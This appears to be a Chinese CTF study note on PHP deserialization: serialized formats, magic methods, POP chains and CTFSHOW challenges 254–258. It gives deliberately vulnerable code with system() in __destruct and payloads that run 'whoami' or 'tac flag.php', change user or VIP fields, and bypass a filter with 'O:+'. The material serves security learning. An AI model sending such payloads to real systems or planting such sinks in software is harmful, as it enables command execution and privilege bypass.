PHP 反序列化漏洞学习笔记(CTF向总结)

适用于安全学习、CTF刷题与漏洞理解


一、什么是反序列化

1. 基本概念

在程序中,对象不能直接进行传输或存储,因此需要进行格式转换:

操作 说明
序列化(Serialization) 对象 → 字符串 / 数组
反序列化(Deserialization) 字符串 → 对象

PHP 中常用函数:

php 复制代码
serialize()     // 对象 → 字符串
unserialize()   // 字符串 → 对象

2. 通俗理解

操作 类比
序列化 把人拍成照片
反序列化 根据照片还原人

3. 示例代码

php 复制代码
<?php
class User {
    public $name = "xuan";
}

$obj = new User();

// 序列化
$str = serialize($obj);
echo $str;

// 反序列化
$obj2 = unserialize($str);
var_dump($obj2);
?>

输出示例:

复制代码
O:4:"User":1:{s:4:"name";s:4:"xuan";}

4. 序列化结构解析(重点)

复制代码
O:4:"User":1:{
    s:4:"name";
    s:4:"xuan";
}
标识 含义
O Object
4 类名长度
"User" 类名
1 属性数量
s string
4 字符串长度

👉 该结构是后续漏洞利用的核心基础


二、PHP 魔术方法

1. 什么是魔术方法

特点:

  • 自动触发
  • 无需手动调用
  • 在特定场景执行

2. 分类

(1)对象生命周期

php 复制代码
__construct()   // 创建对象时
__destruct()    // 对象销毁时(重点)

(2)序列化相关(重点)

php 复制代码
__sleep()       // serialize() 时触发
__wakeup()      // unserialize() 时触发(重点入口)

(3)字符串 / 调用

php 复制代码
__toString()    // 对象转字符串
__invoke()      // 对象当函数调用

(4)方法控制

php 复制代码
__call()
__callStatic()

(5)属性控制

php 复制代码
__get()
__set()
__isset()
__unset()

3. CTF 常用重点

方法 作用
__destruct ⭐ 常见利用点
__wakeup ⭐ 入口点
__toString ⭐ 间接触发
__invoke ⭐ 函数调用

三、反序列化漏洞产生原因

1. 核心条件

php 复制代码
unserialize($_GET['x']);

👉 用户可控数据进入反序列化


2. 危险点

攻击者可以:

  • 构造恶意对象
  • 控制属性值
  • 触发魔术方法

3. 示例漏洞

php 复制代码
<?php
class B{
    public $cmd='ipconfig';

    public function __destruct(){
        system($this->cmd);
    }
}

unserialize($_GET['x']);

4. 攻击流程

第一步:构造 payload

复制代码
O:1:"B":1:{s:3:"cmd";s:6:"whoami";}

第二步:发送请求

复制代码
http://target.com/?x=payload

5. 执行过程

  1. unserialize() 创建对象
  2. 脚本结束
  3. 触发 __destruct()
  4. 执行命令
php 复制代码
system("whoami");

6. 本质总结

用户输入 → 控制对象 → 触发魔术方法 → 执行危险函数


四、POP 链(重点)

1. 什么是 POP

POP = Property-Oriented Programming(面向属性编程)

核心思想:

利用属性 + 魔术方法 形成调用链


2. 为什么需要 POP 链

问题:

  • 危险函数不在魔术方法中

解决:

  • 通过"类之间调用"间接触发

3. POP 链结构

位置 含义
起点 可控反序列化
跳板 类调用关系
终点 system / eval

4. 类比理解

无法直接调用函数

→ 通过"中间路径"绕过去

类似:

复制代码
窗户 → 走廊 → 房间 → 开门

五、CTFSHOW 题目分析


1. 254(对象引用)

👉 重点:理解对象之间调用关系


2. 255(变量修改)

php 复制代码
class ctfShowUser{
    public $isVip=true;
}

利用点

复制代码
b:1 → b:0

👉 修改 VIP 权限(逻辑绕过)


3. 256(参数修改)

php 复制代码
public $username='xxxx';
public $password='xxxxxx';

利用点

复制代码
s:6:"xiaodi" → s:5:"admin"

⚠️ 注意:

字符串长度必须一致!


4. 257(对象嵌套)

php 复制代码
class ctfShowUser{
    public $class = 'backDoor';

    public function __construct(){
        $this->class=new backDoor();
    }
}

class backDoor{
    public $code='system("tac flag.php");';
}

利用点

控制:

php 复制代码
$code

最终实现:

php 复制代码
system("tac flag.php");

5. 258(正则绕过)

php 复制代码
$b=str_replace(':11',':+11',$a);
$c=str_replace(':8',':+8',$b);

原理

复制代码
:+11 == 11

👉 PHP 能解析

👉 正则匹配失败


Payload

复制代码
O:+11:"ctfShowUser":1:{
    s:5:"class";
    O:+8:"backDoor":1:{
        s:4:"code";
        s:23:"system('tac flag.php');";
    }
}

六、核心总结

1. 漏洞触发条件

  • 使用 unserialize()
  • 数据用户可控
  • 存在魔术方法

2. 利用本质

控制属性 → 触发魔术方法 → 执行代码


3. 常见攻击目标

  • system()
  • eval()
  • 文件操作函数
  • SQL 执行函数

结语

反序列化漏洞本质并不复杂,但难点在于:

如何构造调用链(POP链)

建议从简单题逐步过渡到复杂框架(如 Laravel、ThinkPHP)。


复制代码
相关推荐
Luna-player2 小时前
第3章 Spring Boot的Web应用支持,个人学习笔记
前端·spring boot·学习
sheeta19982 小时前
LeetCode 每日一题笔记 2025.03.20 3567.子矩阵的最小绝对差
笔记·leetcode·矩阵
weixin_443478512 小时前
flutter组件学习之卡片与列表
javascript·学习·flutter
liuxin_07252 小时前
Composer 安装
php·composer
Luna-player2 小时前
[特殊字符] Spring Boot 静态资源默认映射规则详解
学习
苦瓜小生2 小时前
【黑马点评学习笔记 | 实战篇 】| 7-达人探店
redis·笔记·后端·学习
AI-Ming2 小时前
注意力机制拓展-大模型知识点(程序员转行AI大模型学习)
人工智能·学习
ADHD多动联盟2 小时前
多动症孩子的运动干预是什么?主要有怎样的方法?
学习·学习方法·玩游戏
炽烈小老头2 小时前
【每天学习一点算法 2026/03/20】单词搜索
学习·算法